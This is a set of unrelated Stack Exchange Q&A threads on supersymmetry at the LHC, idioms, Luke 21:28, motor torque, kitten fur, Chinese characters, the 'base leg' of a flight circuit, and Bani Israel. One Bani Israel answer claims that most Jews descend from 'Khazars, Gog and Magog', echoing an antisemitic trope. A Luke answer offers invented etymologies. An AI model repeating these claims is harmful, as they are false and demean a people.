SUSY and the Large hadron collider

Question: Did the LHC rule out SUSY as a solution to the hierarchy problem ? What's the common belief among theorists regarding the possibility of discovering SUSY in the 2015 run of the LHC ? Did the absence of a SUSY signal so far depress the enthusiasm that SUSY is an important element of our universe ?
Comment: A comment on the use of the past tense here. Unless something goes dreadfully wrong the LHC can be expected to run (in the on again off again cycle that accelerators use) for at least a decade. Probably longer. The previous record holder in this game (the Tevatron at Fermilab) ran for *thirty years*. The fact that some physics goal has not yet been met doesn't say much about the final reach of the machine.
Comment: Related: http://physics.stackexchange.com/q/6438/2451
Answer: Well, I am a retired particle physics experimentalist. This means I remember the evolutions of experiments  and the extensions  of theories from the beginning 60's, when the eightfold way was the fashion.
When the J/Psi was discovered everybody "fell from the clouds" as we say in greek ( I suppose cloud cuckoo land in english). Nobody but nobody had expected it to be so narrow.
When QCD was mooted the great Feynman himself was skeptical , being partial to his parton model.
As for theories? The Regge poles that dominated hadronic physics of the seventies and fell out of fashion with QCD and all,  are having a comeback with string theories.
So my experience tells me that nothing is decided yet. It could be possible that even with the existing data at LHC a clever young physicist will unscramble resonances that are being thrown out with the bathwater of such large backgrounds. Certainly I would wait for the next data crop from the LHC before thinking that super symmetry manifestation has to be pushed to higher energies. My experience also tells me that theoreticians are quite adept at this last.
Answer: Let me try to answer your questions. Your first question relates to naturalness/the big hierarchy problem:

Why is the Planck scale $(\sim10^{19}\,\text{GeV})$ so much larger than the electroweak scale $(\sim10^{2}\,\text{GeV})$?

Even with supersymmetry, we don't know the answer. This hierarchy is pathological in the Standard Model. Our  electroweak scale is dragged to the Planck scale by quadratic quantum corrections. For the electroweak scale to be as we see (with quantum corrections), it's bare value (without quantum corrections) must be extraordinarily fine-tuned.
Supersymmetry can solve this problem, because the quadratic quantum corrections sum to zero. There are residual logarithmic corrections, because supersymmetry must be broken. The null results of LHC searches for supersymmetry and the Higgs mass $m_H\sim125\,\text{GeV}$ mean that that the supersymmetry breaking scale must be $\gtrsim10^3\,\text{GeV}$. Even with quantum corrections at this scale, which is slightly higher than the electroweak scale, the big hierarchy problem is solved. We're fine-tuning numbers of order $10^2\,\text{GeV}$ and $10^3\,\text{GeV}$, which is nothing compared to fine-tuning with the Planck scale. Though, of course, the breaking scale shouldn't be much much bigger than the electroweak scale.
That's not the end of the story though. Whilst supersymmetry closes the big hierachy between the Planck and the electroweak scales, it opens a little hierarchy between the electroweak and supersymmetry breaking scales. This hierarchy is far less severe, because there are no quadratic corrections to either scale, but is still somewhat fine-tuned and puzzling. This little hierachy bugs theorists, and it has done since LEP some 15 years ago.

Are we optimistic about finding SUSY in LHC Run II?

Hopeful, I'd say, but not very optimistic. Though some theorists consider a light Higgs to be evidence for supersymmetry, because a light Higgs is a robust prediction in most supersymmetry models.

Has absence of supersymmetry depressed the enthusiasm that SUSY is an important element of our universe?

No, I wouldn't say so. It's still the best solution to a lot of problems, of exprimental and technical nature, including the big hierarchy. I would say that people are less sure about the supersymmetry breaking scale, and the form of supersymmetry.
Answer: I am not an expert on this subject, but check out this article, which is about a physicist who put a bet of one thousand dollars on not finding SUSY.
Relevant to the article above, is also this blog.
Answer: As he explains for example here, Lubos Motl has a still running bet against Jester (the author of the quite nice physics blog Resonaances) saying that he will obtain 10000 dollars if the LHC discovers SUSY in the first 30 inverse femtobarns of data accumulated, whereas he has to pay only 1000 dollars if this is not the case. This 100:1 bet means that Lumo estimates the propability of finding SUSY in the mentioned amount of data to be larger than 1%.
Since this amount of data has not yet been accumulated, the bet is indeed about the early 2015 run of the LHC. Due to the inicrease of the collision energy in 2015 to 13 TeV, new particles that are not easy to descover for the LHC when running at 8 TeV, could quickly be found in the first data of the 13 TeV run, so Lubos consinders his position in this 100:1 bet as still comfortable and the probability to detect SUSY (early in) 2015 to be still larger than 1 %.
As mentioned in the same TRF article too, Jaques Distler was less lucky with his bet against Tommaso Dorigo, which was only about the first 10 inverse femtobarns of data.
But as you can see, some bets about the 2015 run are still open ... so stay tuned ;-)
PS: The absence of convincing SUSY signals in the data so far does not depress rational and scientific thinking people, who know that SUSY may still be an important part of the laws of nature describing our universe, even if it were broken at much larger than the LHC accessible energy scales.
Comment: Also, seems to me that that "what's wrong with this answer" is that you addressed only *one* part of the 3-part question. And your answer to that part addresses a *single* theorist (very loosely a second), rather than the community.

SUSY and the Large hadron collider


What is an idiom for overcoming a life obstacle?

Question: It's on the tip of my tongue -- something related to a tool like "to pass through a vise". The meaning is along the lines of overcoming a character-defining struggle in your life; the kind a person only goes through once a lifetime.
Answer: I don't know whether characters can be said to pass through a vise, exactly. Gripped maybe the more likely expression concerning vises, unless you want to invoke the idea of escape.  But if other tools are in scope, how about forged in the crucible of X, where x is your momentous struggle?  Anvils and furnaces are other instances where forging happens and mettle is proved, but I am too ignorant of smithery to say whether they are good tool metaphors.
Answer: Rise above — TFD

Fig. [for one] to ignore petty matters and do what one is meant to do in spite of them.
"He was able to rise above the squabbling and bring some sense to the proceedings."
Comment: Always include the relevant definition, and a good example sentence. Hope my edit shows you how to do it. :)
Comment: @NVZ Got it. I will next time.


In Luke 21:28 what does "redemption" (ἀπολύτρωσις) mean and to what does it refer?

Question:
ESV Luke 21:28 Now when these things begin to take place, straighten
  up and raise your heads, because your redemption (ἀπολύτρωσις) is
  drawing near."

What was drawing near?
Answer: You have asked two questions - one about the word "apolutrosis" and the other about what was drawing near.
Every lexicon I consulted stated the following well-known facts: "apolutrosis" is a strengthened form of "lutrosis" (from the cognate root "luo" = I loose or release; see A Souter, Newman, Thayer, W E Vine, Analytical Lexicon by Friberg et al, Thayer, etc).  Both mean almost the same thing - the act of granting freedom or release from slavery or bondage by paying a ransom.  Thus, in English, the closest word would be "manumission".  Hence, these words are correctly translated, liberation, a setting free, manumission, redemption, etc.
The word "apolutrosis" is used in a number of fascinating ways - it is used as an act in the past (an accomplished fact), a current process, and a future event.  In all cases (except Heb 11:35 literal of actual slaves) it is used spiritually as a metaphor of Christ's salvation on our behalf.

Rom 3:24, 1 Cor 1:30, Col 1:14; These describe Jesus redemption/liberation of His people by justification (or similar) of our sins - a past completed act.  See also Heb 9:12.
Eph 1:7, Heb 9:15 describe us having liberation/redemption/freedom in Christ in the present
Luke 21:28, Rom 8:23, Eph 4:30, all discuss a future liberation event either in the last days, or "the day of redemption", or "when our bodies are liberated" or the like.  In the latter cases the Holy Spirit is integral to the future liberation in some way.  (See also Luke 2:38)

The reference to something that was drawing near:
Jesus' statement about redemption/liberation drawing near Luke 21:28 is couched in terms of His instruction to the disciples to "look up" - in the previous verses he teaches them about the coming signs for which they are to watch.  Specifically, they were to watch for two sets of "signs" or "omens" (Greek "semeia"), namely:

Luke 21:25, 26; signs in the sun, moon and stars, on earth, distress among nations, great fear of foreboding, powers of heaven shaken
Luke 21:27; sign of the son of man coming in a cloud with power and great glory

It is these (future) events that presage the final liberation/redemption of God's people.
Comment: It is a different word - "exagorazo" certainly means to buy ( a verb from the root agoazo or similar) but it is not our word, apolutrosis!!
Comment: The phrase "redeeming the time" only occurs in the KJV.  The Greek in Eph 5:16 does not use "apolutrosis" nor "lutrosis" and so is NOT germane.  Further, of your lexicons you quote also say the same thing - "apolutrosis" liberation by payment of a ransom.
Comment: I wonder if "lift up your eyes" is an allusion to this: *[Isa 49:18 NASB] (18) "Lift up your eyes and look around; All of them gather together, they come to you. As I live," declares the LORD, "You will surely put on all of them as jewels and bind them on as a bride.*
Answer: I suspect you have already looked at the lexicon entries for the word, which supply definitions of setting free, deliverance, release, liberation, recovery, redemption.1.  Another answer discussed the roots of the word ἀπολύτρωσις (apolutrōsis) as it relates to the verb λύω (luō) - meaning "to set free"2.  The word λύτρον (lutron) - ransom - is also related.3 The word λύτρωσις (lutrōsis) by itself means essentially the same thing; the prefix ἀπο (apo) adds a sense of completeness.3

I believe the correct understanding of the word in context here is a description of liberation from (bodily) corruption rather than in terms of ransom.  The preceding verse - And then they shall see the Son of Man coming in a cloud  with power and great glory - clearly relates this event of redemption to the second coming of Christ. Romans 8:23, using the same word, also conveys this sense:

And not only they, but ourselves also, which have the firstfruits of the Spirit, even we ourselves groan within ourselves, waiting for the adoption, to wit, the redemption of our body.

The Byzantine (Greek) commentator Theophylact explained the Greek wording here in his commentary on Luke:

Just as the first coming of the Lord was for the re-fashioning and rebirth of our souls, so the second coming will be for the rebirth of our bodies.  Death came first to the souls of Adam and Eve when they disobeyed, and nine hundred years after their disobedience their bodies underwent death in physical actuality.  Consequently, our souls are reborn and made better by the first coming of Christ, and our bodies, by the second coming.  Therefore the Lord says, "When these things come to pass, look up, you who are weighted down by corruption and you will be set free.  For your redemption is at hand, that is, the perfect liberation of your soul and body together."  The prefix apo intensifies the sense that the body at the second coming will be completely and totally delivered from corruption by the grace of the Lord Who abolishes the final enemy, death.  First He overthrew the dark principalities and powers and redeemed our souls.  But death remained, feeding upon our bodies.  When the Lord abolishes death, it will result in our complete freedom and redemption.5

1. e.g., Newman, A Concise Greek-English dictionary of the New Testament; Swanson; Swanson, Dictionary of Biblical Languages with Semantic Domains: Greek (New Testament); The Lexham Analytical Lexicon to the Greek New Testament; Louw & Nida, Greek-English lexicon of the New Testament: Based on Semantic Domains
2. See, e.g., Newman
3. See, e.g., Lidell, An Intermediate Greek-English Lexicon
4. See, e.g., Royster, St. Paul's Epistle to the Romans: A Pastoral Commentary (St. Vladimir's Seminary Press, 2008), p.86
5. Explanation of the Gospel According to St. Luke (tr. from Greek; Chrysostom Press, 1997), p.275
Comment: What do you make of this, which I presume occurred prior to Paul's writing Romans 8:23?:  *[2Ti 1:10 NASB] (10) but now has been revealed by the appearing of our Savior Christ Jesus, who abolished death and brought life and immortality to light through the gospel,*
Answer: You had a question about redemption in Luke 1:28, the answer is linked to the previous verse Luke 1:27 which tells of the timing and context of this event. The redemption being presented is that of the elect or the saved who will still be alive after the "Great Tribulation" Those who were "bought with a price" (1 Cor 6:20). Because these "saints" are still alive at that time, they have not yet been delivered to their rightful owner Jesus Christ. At the second coming of Jesus Christ He will then collect those of His that are still alive, those who are marked with the Holy Spirit (Eph 1:13). These saints had been bought and are owned but had not yet been delivered. The delivery of the saints is at death. The reason is that only spiritual beings can enter and reside in heaven. Believers belong to Christ while we are alive on earth, but we are redeemed and delivered to our owner after our physical death. I hope this helps.
Comment: Welcome to BHSX.  Thanks for your contribution.  The answer you have provided is a highly interpretive one and does not deal with the meanings of the central word, "apolutrosis".  Please use some references to unpack the meaning of this word which you have not addressed.
Comment: I think you meant "11:28," yes? Also, can you use bullets and/or separate paragraphs, each supported with evidence, such as a particular scripture reference?
Answer: Jesus' words may be an allusion to Daniel 4:33 from the LXX.
In the Hebrew it has Nebuchadnezzar "lifting up his eyes to heaven". We are probably to take this as him repenting of his pride and saving his kingdom by his repentance:

KJV Daniel 4:34 And at the end of the days I Nebuchadnezzar lifted up mine eyes unto heaven, and mine understanding returned unto me, and I blessed the most High, and I praised and honoured him that liveth for ever, whose dominion is an everlasting dominion, and his kingdom is from generation to generation:

In the LES the king doesn't lift his eyes to heaven but the king says "my time of recovery [ἀπολύτρωσις] came":

Lexham English Septuagint Daniel 4:34 30c And at the completion of the seven years, my time of recovery [ἀπολύτρωσις] came, and my sins and acts of my ignorance were brought to an end before the God of heaven, and I prayed concerning my sins against the great God of gods. And behold, a messenger addressed me from heaven, saying, "O Nebuchadnezzar, serve the holy God of heaven and give honor to the most high, for the royal dwelling of your nation is being given back to you."
Brannan, R., Penner, K. M., Loken, I., Aubrey, M., & Hoogendyk, I. (Eds.). (2012). The Lexham English Septuagint (Da 4:30c–33). Bellingham, WA: Lexham Press.
Swete's LXX Daniel 4:33 ἕως δὲ πρωὶ πάντα τελεσθήσεται ἐπὶ σέ, Ναβουχοδονοσὸρ βασιλεῦ Βαβυλῶνος, καὶ οὐχ ὑστερήσει ἀπὸ πάντων τούτων οὐθέν. [1] Ἐγὼ Ναβουχοδονοσόρ, βασιλεὺς Βαβυλῶνος, ἑπτὰ ἔτη ἐπεδήθην· χόρτον ὡς βοῦν ἐψώμισάν με καὶ ἀπὸ τῆς χλόης τῆς γῆς ἤσθιον. καὶ μετὰ ἔτη ἑπτὰ ἔδωκα τὴν ψυχήν μου εἰς δέησιν, καὶ ἠξίωσα περὶ τῶν ἁμαρτιῶν μου κατὰ πρόσωπον Κυρίου τοῦ θεοῦ τοῦ οὐρανοῦ, καὶ περὶ τῶν ἀγνοιῶν μου τοῦ θεοῦ τῶν θεῶν τοῦ μεγάλου ἐδεήθην. [2] καὶ αἱ τρίχες μου ἐγένοντο ὡς πτέρυγες ἀετοῦ, οἱ ὄνυχές μου ὡσεὶ λέοντος· ἠλλοιώθη ἡ σάρξ μου καὶ ἡ καρδία μου, γυμνὸς περιεπάτουν μετὰ τῶν θηρίων τῆς γῆς. ἐνύπνιον εἶδον καὶ ὑπόνοιαὶ με εἰλήφασιν, καὶ διὰ χρόνου ὕπνος με ἔλαβε πολὺς καὶ νυσταγμὸς ἐπέπεσέ μοι. [3] καὶ ἐπὶ συντελείᾳ τῶν ἐπτὰ ἐτῶν ὁ χρόνος μου τῆς ἀπολυτρώσεως ἦλθεν, καὶ αἱ ἁμαρτίαι μου καὶ αἱ ἄγνοιαί μου ἐπληρώθησαν ἐναντίον τοῦ θεοῦ τοῦ οὐρανοῦ· καὶ ἐδεήθην περὶ τῶν ἀγνοιῶν μου τοῦ θεοῦ τῶν θεῶν τοῦ μεγάλου, καὶ ἰδοὺ ἄγγελος εἷς ἐκάλεσέν με ἐκ τοῦ οὐρανοῦ λέγων Ναβουχοδονοσόρ, δούλευσον τῷ θεῷ τοῦ οὐρανοῦ τῷ ἁγίῳ καὶ δὸς δόξαν τῷ ὑψίστῳ· τὸ βασίλειον τοῦ ἔθνους σού σοι ἀποδίδοται.

If this is what Jesus/Luke was alluding to then he wants to call attention to the fact that the Jews were to look up to await their "recovery" just as Nebuchadnezzar's "recovery" came and he saw his sins and acts of ignorance for what they were and committed to serve the God of heaven.
This might be a reference to:

KJV Zechariah 12:10: And I will pour upon the house of David, and upon the inhabitants of Jerusalem, the spirit of grace and of supplications: and they shall look upon me whom they have pierced, and they shall mourn for him, as one mourneth for his only son, and shall be in bitterness for him, as one that is in bitterness for his firstborn.

It may also refer to this:

[Isa 62:11-12 KJV] 11 Behold, the LORD hath proclaimed unto the end of the world, Say ye to the daughter of Zion, Behold, thy salvation cometh; behold, his reward [is] with him, and his work before him. 12 And they shall call them, The holy people, The redeemed of the LORD: and thou shalt be called, Sought out, A city not forsaken.

They would also have had good reason to expect the dramatic intervention in Zechariah 14:

[Zec 14:1-21 KJV] 1 Behold, the day of the LORD cometh, and thy spoil shall be divided in the midst of thee. 2 For I will gather all nations against Jerusalem to battle; and the city shall be taken, and the houses rifled, and the women ravished; and half of the city shall go forth into captivity, and the residue of the people shall not be cut off from the city. 3 Then shall the LORD go forth, and fight against those nations, as when he fought in the day of battle. 4 And his feet shall stand in that day upon the mount of Olives, which [is] before Jerusalem on the east, and the mount of Olives shall cleave in the midst thereof toward the east and toward the west, [and there shall be] a very great valley; and half of the mountain shall remove toward the north, and half of it toward the south. 5 And ye shall flee [to] the valley of the mountains; for the valley of the mountains shall reach unto Azal: yea, ye shall flee, like as ye fled from before the earthquake in the days of Uzziah king of Judah: and the LORD my God shall come, [and] all the saints with thee. 6 And it shall come to pass in that day, [that] the light shall not be clear, [nor] dark: 7 But it shall be one day which shall be known to the LORD, not day, nor night: but it shall come to pass, [that] at evening time it shall be light. 8 And it shall be in that day, [that] living waters shall go out from Jerusalem; half of them toward the former sea, and half of them toward the hinder sea: in summer and in winter shall it be. 9 And the LORD shall be king over all the earth: in that day shall there be one LORD, and his name one. 10 All the land shall be turned as a plain from Geba to Rimmon south of Jerusalem: and it shall be lifted up, and inhabited in her place, from Benjamin's gate unto the place of the first gate, unto the corner gate, and [from] the tower of Hananeel unto the king's winepresses. 11 And [men] shall dwell in it, and there shall be no more utter destruction; but Jerusalem shall be safely inhabited. 12 And this shall be the plague wherewith the LORD will smite all the people that have fought against Jerusalem; Their flesh shall consume away while they stand upon their feet, and their eyes shall consume away in their holes, and their tongue shall consume away in their mouth. 13 And it shall come to pass in that day, [that] a great tumult from the LORD shall be among them; and they shall lay hold every one on the hand of his neighbour, and his hand shall rise up against the hand of his neighbour. 14 And Judah also shall fight at Jerusalem; and the wealth of all the heathen round about shall be gathered together, gold, and silver, and apparel, in great abundance. 15 And so shall be the plague of the horse, of the mule, of the camel, and of the ass, and of all the beasts that shall be in these tents, as this plague. 16 And it shall come to pass, [that] every one that is left of all the nations which came against Jerusalem shall even go up from year to year to worship the King, the LORD of hosts, and to keep the feast of tabernacles. 17 And it shall be, [that] whoso will not come up of [all] the families of the earth unto Jerusalem to worship the King, the LORD of hosts, even upon them shall be no rain. 18 And if the family of Egypt go not up, and come not, that [have] no [rain]; there shall be the plague, wherewith the LORD will smite the heathen that come not up to keep the feast of tabernacles. 19 This shall be the punishment of Egypt, and the punishment of all nations that come not up to keep the feast of tabernacles. 20 In that day shall there be upon the bells of the horses, HOLINESS UNTO THE LORD; and the pots in the LORD'S house shall be like the bowls before the altar. 21 Yea, every pot in Jerusalem and in Judah shall be holiness unto the LORD of hosts: and all they that sacrifice shall come and take of them, and seethe therein: and in that day there shall be no more the Canaanite in the house of the LORD of hosts.

Of course, we know that Jerusalem was razed, not raised because they did not receive their messiah so instead of glory they experienced severe judgment. Some see the release/rescue/redemption as occurring spiritually through the gospel instead. Others see those promises as still future.
I see them as having been offered in the first century by Jesus but refused. This release never happened yet. I'm still figuring out when and how such promises are going to be fulfilled, if at all.
Answer: The first spring equinox of the new age was drawing near. This is evidenced by the next verses of which one states that Pesach (Easter) was coming. Easter is calculated from the Spring equinox concerning the moon cycle.
Redemption and salvation are in relation to light and darkness. The spring equinox is not only a dawn where the light brings 'redemption' after the night, but also brings longer days and shorter nights; a double 'victory' over darkness.
When also the contemporary moon cycle comes to an end, it can be considered a calendrical recalibration, which is also evidenced in the calendrical etiological interpretations of Ragnarok (Rechne-Rück = Calculate back) and Armageddon (from Hor-m-Akhet On = Horus (day) M (in) Akhet (the horizon) On (Ancient Egyptian name for Heliopolis, which is the city of the sun).
Such an astronomical clockwork moment would have Great effects on the religious interpretations and Lucas saying to look up at the sky while Jesus was hugely mythologised by Solar cult elements, gives enough reasons to assume a special spring equinox was meant. From Aries to Pisces (the New Kingdom of heaven = the Age of Pisces.
Pisces being the follow up constellation of Aries has a symbolic interpretation of 'lamb' (sprout of Aries) of God.
In short redemption means 'being in the light' or in Ancient Egyptian terms; 'going forth by day'. It refers to the renewal of life that the spring equinox brings with the return of the sun (son) in heaven.
Jesus was also an astronomer. He hints to the age of Aquarius when his disciples ask him when he returns. Also in Luke (22-9 & 22-10). Also Luke speaks here of Jerusalem which functions as On (Heliopolis) with mount Armageddon (Tel Megiddo) functioning as Hor-m-Akhet On. Interestingly the Hormakhet name is ascribed to the Great Sphinx which is looking due east towards the... spring equinox.
I will edit the etymological part of the Greek word soon. This is a work in progress
Comment: Welcome to BHSX - please use the Bible text to explain the answer.  Astrology is not part of this text and so is not germane.
Comment: @DrPeter; mind I talk about astronomy, not astrology. And Armageddon, Hor M Akhet and Ragnarok are related and part of my answer to show how time keeping was part of religion and mythology. Thank you for the welcome.
Comment: @Ruminator; "not exploring and expounding the text"? That is an opinion... I will edit my answer soon with the etymological part of the answer.


How to calculate torque required by a motor depending on load?

Question: I want to know whether the torque required by motor depends on load. If it does, then how can I calculate it?
Answer: Yes you can find required torque of motor if you know the load. Torque created by the load acts on the motor shaft and the motor shaft must overcome that torque to operate, otherwise it would cease to rotate.
For no load conditions there is a no load amp draw. This represents the internal losses of the motor (bearing friction, major and minor losses) that, at a minimum, the motor must overcome to operate at its design speed.
Answer: The torque required by the motor is the sum of different actors, for instance it can be the friction in the motor ($T=K_f \dot \phi$), the inertia of the rotor itself ($T=J\ddot \phi$) and then all the loads connected to the motor shaft. You have to include the inertia as well as the damping and stiffness between the different loads.
Answer: Yes, motor torque depends on load. More the load torque more the torque produced by motor. Yes, as previously mentioned answers every motor have some losses, that may be friction losses etc, and at no load the motor will produce a torque equal to the torque due to loss. So the some of Torque produced = Load torque + Torque (friction loss). The torque is not a thing that you can calculate that it will produce. There is a torque-speed charaterstic curve of different motors(dc series,parallel etc) in which it shows how the motor speed changes as you add load on it.


how can you tell if a kitten will have short or long hair?

Question: I am getting a kitten from from a women, the momma cat and her kittens were dropped off at her house. They're not ready yet so I've only seen them in pictures. She estimated that they are about 4-5 weeks old because they have started eating a little wet food. The one that I am getting looks a lot fluffier than it's siblings so I was curious as to if it will have long or short hair? I figured it could be possible for one or more of the kittens to have long hair because no one knows who the farther is. I asked but she doesn't know/isn't sure. I was just wondering if anyone on here could tell? How or when could you tell? Pictures of the kitten and one of its siblings below
Comment: Possible duplicate of [How can you tell if a kitten will have long or short hair?](http://pets.stackexchange.com/questions/5952/how-can-you-tell-if-a-kitten-will-have-long-or-short-hair)
Answer: Your kitten looks to be medium to long-haired to me.Pretty fluffy. I have medium-haired cat who I rescued at 3 weeks old and his coat surprised me when it came in so I'm leaning to long-haired for your little one.
The longer hair hasn't been an issue and he likes being brushed. I started early to get him accustomed to being handled and brushed and do recommend it.
Answer: I think your kitten isn't a short-hair cat because of its dense and long-hair coat. If the mother or/and father of it has/have long hair, the possibility is higher. Also, some kittens have the medium-long but thin hair that would shed gradually since the fourth month. After that, their real coat-short hair- will appear soon.
I also have a long-hair cat, I adopted him when he was five months old. At that time, he already had a white and dense and long fur. However, I adopted another short-hair kitten (about 4 weeks). His hair was shorter and thinner than your kitten when I first saw him. After 3 months, I can certify he is a real short-hair cat!


What is the difference between 但 and 只?

Question: I see that 但 means "only" besides its typical meaning "but". So what is the difference between 但 and 只 and when do you use 但 with the meaning "only"?
Answer: 但 means 'but' ; 'only' ; 'just'
只 means 'only'; 'just'
The difference between the two when they are functioning as 'only/just':

但 is more literary/ classical; 只 is more colloquial/ contemporary

Example:
只看不買 (only look but not buy)  - a normal contemporary sentence
但看不買 - it sounds awkward with a classical term mixed in a contemporary sentence
但說無妨 (It is fine, just say it)- a normal classical sentence
只說無妨 - it sounds awkward with a contemporary term mixed in a classical sentence

但 can be short for 但願, but 只 cannot

Example:
但得我一家平安 = only (wish) my family is safe -- 但 here is short for 但願 (only/ just wish)
只得我一家平安 = only my family is safe-- 只 here cannot be short for 只願 (only/ just wish)

In some context. they are interchangeable:

Example:

但求我一家平安 = 只求我一家平安 -- with the verb 求(wish),  both 但求 and 只求 mean 'only/ just wish'
Answer: Let me just supplement Tang Ho's perfect answer with two other examples.

但願人長久,千里共嬋娟 from the Song poem 水調歌頭, 蘇軾

which means '(I) just wish him (author's brother) a long life, and that we look at the same beautiful moon despite being thousands of miles apart.'

但得有三餐足夠,為人樂觀好少掛憂 from the Cantonese song 杯酒當歌, 許冠傑

which means 'I just need 3 good meals a day and nothing more. I am optimistic and seldom worried.'

What is the difference between 但 and 只?


Why is it called "base" leg?

Question: When flying a circuit, the leg after downwind and before final is called base. Where does this name come from?
Comment: Dan, please let me know what else you are looking in the answer.
Comment: @Farhan As you say, you've posted a good explanation or memory aid, but I was looking specifically for the **origin** of the term: how it came about, not just why the name makes sense.
Comment: Well, the first reason is the best one I could find.
Answer: Traffic pattern (circuit) phases are named so that they do not cause confusion1. I think of it as the leg which is taking me towards my landing/home base. (It is just a memory aid.)
However, the following reason is the best one which I found:

This leg represents the foundation for the final approach, that is,
  the base from which the final approach is initiated.

Another reason is as follows, although it is similar to a memory aid:

... base leg is called "base" because it is really the foundation of
  your landing (the "base" of a house is its foundation – and if it
  isn't right, the whole house will never be right) – if the base leg
  isn't right, your whole landing will suffer for it.

1: Although, upwind leg, crosswind leg and downwind leg relates with the wind direction too. But if wind is perpendicular to the runway, downwind leg is not actually downwind, but it is still called the downwind leg.
Answer: This is a partial answer (allowed) that I'm making a community wiki.

Source: Google Ngram Viewer

The usage above shows that the term base leg came after traffic pattern, which was confirmed in a Flying Magazine issue (Jun 1948, p. 64):
That linked issue shows that the base leg was also known as the crosswind leg (which today is the leg after the first turn after departure). The article also mentions circular and triangular patterns (confirmed by other issues).
Searching historic FAA regulations wasn't helpful as the FAA was formed in the late 50s. And the current regulations do not state the names of the legs, just some guidance on when to deviate from an airport's traffic pattern (14 CFR § 137.45).
So far:

It wasn't named base leg from the start
It was known as crosswind leg, which means the terms were standardized later
Since triangular patterns existed, there's a chance the name base comes from the geometric shape as noted in another answer, though not necessarily of French origin.

My hypothesis at the moment is that the standardization came from military training procedures, which carried over to the civilian world. I'm having no luck finding the earliest mention of all four legs as we know them today from the late 30s.
Answer: It comes from the French base, referring to the bottom of a triangle or rectangle.
If you view the circuit as a rectangle, the étape de base (the base leg) is the bottom step.
Comment: The bottom of a triangle or rectangle is also base in English, both from ultimately the Greek word βάσις (básis). Is there evidence that the French (or English) were the first to call it base for that geometry-based reason?

Why is it called "base" leg?


Bani Israel and Christians

Question: I know that all Jews are Bani Israel but not all Bani Israel are Jews. Are Christians Bani Israel as well, do they descend from Prophet Israel (AS)? This is not a duplicate, the answer to this question is not in any of the other articles, I want to know if Christians are also Bani Israel, I'm not asking about the difference between Jews and Bani Israel. Just please answer this question it's not a duplicate
Comment: Possible duplicate of [What is difference of "Jews" and "Bani Israeel" in Quran?](https://islam.stackexchange.com/questions/10394/what-is-difference-of-jews-and-bani-israeel-in-quran)
Comment: I wonder if this question belongs to Islam SE at all.
Answer: 'All' of the Christians are not Bani Israel, just like all of the Muslims are not Bani Ishmael or even Arab, because several gentiles converted to Christianity at the hands of the disciples of Jesus and then the adoption of the religion by the Roman Empire, and later the preaching of Christian missionaries.
Bani Israel is a lineage and not a religion. Statistically speaking only a small minority of the present Christian population would belong to the Bani Israel.
Answer: BANI ISRAEL
The Arabic word "إِسْرَائِيلَ" is a combination of two-word Isra and El. Isra has root word "ا س ر" and from this root word it means prisoner and El is God so we can translate Israel as Prisoner of God or Prisoned for God.
If we change this word in Arabic it will become "ISRA ULLAH" meaning "Prisoner of Allah".
We know that Allah SWT in His divine wisdom made his prophet Yusuf PBUH to be prisoned several years in Egypt. So, in my humble opinion the "Israel" in Quran is referred to Prophet Yusuf PBUH and Bani Israel is a reference to children of Yusuf PBUH not children of Yaqoob PBUH.
There are some mind-boggling similarities and connections in the Quran in reference of Prophet Yusuf PBUH and Israel. There is only one Surah in Quran named Surah Yusuf and there is only one Surah by the name Surah Bani Israel. The individual person "Israel" named twice in Quran Surah Al Imran Ayat 93, Surah Maryam Ayat 58 and Prophet Yusuf PBUH name is also occurred twice in the Quran Surah Al Anam Ayat 84 and and Surah Ghafir (Momin) Ayat 34 besides Sura Yusuf and Aal e Yaqub is also appeared twice in glorious Quran Surah Yusuf Ayat 6 and Surah Maryam Ayat 6.
And the most important fact is that Surah Bani Israel has 111 Ayat and Surah Yusuf has 111 Ayat as well. So, Bani Israel means "Children of Yusuf".
Today when we say "JEWS" or "YAHUD" it is understood as a group of people who are mainly from the progeny of Prophet Yaqub PBUH. But is it true or correct?
Allah SWT has used a few different words to describe people in the Story of Prophet Musa PBUH. Allah SWT used QOM E MUSA, ASBAAT, AAL E YAQUB, BANI ISRAEL and CHOSEN PEOPLE for these people. Do you think they all are the same and we can easily translate them as "JEWS" or "YAHUD"?
I have a detailed essay where I can prove from the glorious Quran that Allah SWT divided QOM E MUSA into 12 tribes (ASBAT) not Bani Israel. And AAl E YAQUB, BANI ISRAEL and CHOSEN PEOPLE are referred to as the Progeny of Prophet YUSUF PBUH which was one tribe among 12.
If you read the story of Prophet Musa PBUH which is in great detail in the Quran you won't find the word YAHUD even a single time in this story. What does it mean? It means YAHUD were not part of that struggle and journey and they mixed up later with Bani Israel and other tribes.
I can prove from the Quran that YAHUD are progeny of Qom E Hud and they mixed up with Bani Israel when Talut was appointed as a king. Talut and his followers belonged to YAHUD meaning Qom e Hud. You will find all references of Yahud in the Quran after the timeline of Prophet Dawood PBUH and Prophet Sulaiman PBUH.
We know that Khazars or "ASHKANZI" converted to Judaism after almost 2 centuries of Prophet Muhammad PBUH and after revelation of Quran. So how can we say Yahud of Quran apply on Ashkanazi jews as well? We know they have nothing to do with Qom e Musa, Bani Israel or Yahud. They are progeny of Gog and Magog.
So today when we say "JEWS" it means a group of people who are comprises of or mix of mainly from the progeny of 11 sons of prophet Yaqub PBUH and Prophet Yusuf, Progeny of Qom e Hud and progeny of Gog and Magog and few others who converted to Judaism and they claim that they follow Prophet Musa PBUH. Today JEWS population in the world is around 15 million and I believe that the majority of them are from the progeny of Aad and from the progeny of Khazars, Gog and Magog. A very minor percentage among them belong to the progeny of 11 sons of prophet Yaqub PBUH and Prophet Yusuf PBUH.
They are classified as ASHKANZIE JEWS, SEPHARDIC JEWS, MIZRAHI JEWS and EITHOHOPIAN JEWS. They can further be divided according to the country they belong to and sect they following.
NASARAH AND CHRISTIANS
The word Nasarah of the Quran is often translated as Christians. Is it correct or right to do so? Because there are various types of Christians exists, like Catholic, protestant, Orthodox, Nazarene and some other offshoots of these. So what Allah SWT means by calling a people Nasarah in Quran.
NASARAH
The city where Prophet Esa PBUH lived, was existed before him and it was called in old Hebrew as Ne-cer , in classic Syriac "Nasarta" in Aramaic "Nasrath" in Hebrew Natzrat and in Arabic it is called An-Nasirah. Prophet Esa as we know is called Jesus of Nazreth and in Arabic he is also called "Esa An Nasiri".
The Quran is in Arabic language so we have to see all the things mentioned in the Quran with the reference of Arabic language. Allah SWT did not give this name NASARAH to these people but Allah SWT called them in the Quran "from those of you who call yourself Nasarah". Surah Maida Ayat 14
وَمِنَ الَّذِينَ قَالُوا إِنَّا نَصَارَىٰ أَخَذْنَا مِيثَاقَهُمْ
And from those who say, "We are Nasarah," We took their covenant.
